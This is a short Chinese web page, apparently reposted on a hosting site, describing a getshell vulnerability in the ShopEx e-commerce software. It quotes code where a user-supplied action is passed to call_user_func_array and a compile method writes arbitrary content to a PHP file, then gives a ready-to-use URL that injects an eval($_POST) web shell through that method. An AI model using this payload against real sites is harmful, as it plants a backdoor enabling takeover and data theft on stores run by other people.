鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

shopex Getshell(鸡肋,需要站点开启伪静态)

来源:互联网 作者:佚名 时间:2015-08-31 09:36
ctl.product.php class ctl_product extends shopPage{ var $_call = call; var $type = goods; var $seoTag = array(shopname,brand,goods_name,goods_cat,goods_intro,goods_brief,brand_kw,goods_kw,goods_price,update_time,goods_bn); function ctl_prod
ctl.product.php

	class ctl_product extends shopPage{

	    var $_call = 'call';
	    var $type = 'goods';
	    var $seoTag = array

('shopname','brand','goods_name','goods_cat','goods_intro','goods_brief','brand_kw','goods_kw','goods_pr

ice','update_time','goods_bn');
	    function ctl_product(){
	        parent::shopPage();
	        $this->title    = $this->system->getConf('site.goods_title');
	        $this->keywords = $this->system->getConf('site.goods_meta_key_words');
	        $this->desc     = $this->system->getConf('site.goods_meta_desc');
	    }
	    function call(){
	        $args = func_get_args();
	        $action = array_shift($args);
	//echo $args."||".var_dump($this);
	//echo 1111;
	var_dump($args);
	var_dump(get_class_methods($this));
	        if(method_exists($this,$action)){
	            return call_user_func_array(array(&$this,$action),$args);//可以执行一些 系统自带的函

数 我们找下有没可利用的
	        }

	pageFactory.php
	 public function _set_compile( $key, &$content )//就调用这个函数 可以直接写出shell
	    {
	        if ( !$this->force_compile )
	        {
	            file_put_contents( $this->compile_dir.$key.".php", $content );
	        }
	    }



http://xx.com/product-12-[/url]<script%20language="php">eval($_POST1)%3B-_set_compile.html

20130904170348

网友评论
<